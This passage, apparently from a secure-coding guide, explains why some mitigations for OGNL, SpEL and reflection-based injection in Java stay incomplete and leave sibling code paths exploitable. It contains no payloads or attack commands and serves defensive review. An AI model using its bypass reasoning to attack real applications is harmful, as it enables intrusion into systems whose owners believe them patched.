MemberAccessrestriction applied to one entry point only: Configuring a restrictedMemberAccesson anOgnlContextto mitigate OGNL injection (the pattern behind several historical Struts CVEs) closes the specific call site it's applied to, but a sibling code path that still callsOgnl.getValue(expression, root)without that restricted context remains fully exploitable - the mitigation has to be applied everywhere OGNL evaluates untrusted input, not just the first one found. - Class allowlist without a method allowlist: Restricting reflection-based dispatch to a fixed set of allowlisted classes (
Class.forName()checked against a map) stops arbitrary class loading, but every public method on an allowlisted class is still reachable throughClass.getMethod()- if one allowlisted class happens to expose a method that reads files or shells out, allowlisting the class alone doesn't prevent invoking it. SimpleEvaluationContextused, but the bound root object exposes a dangerous getter:SimpleEvaluationContext.forReadOnlyDataBinding()blocks the SpELT()operator and constructor calls, but ordinary property access on the root object is still permitted - if that object's property graph includes a getter returning aClassLoaderor similar reflective handle, restricting the evaluation context type doesn't stop the expression from reaching it.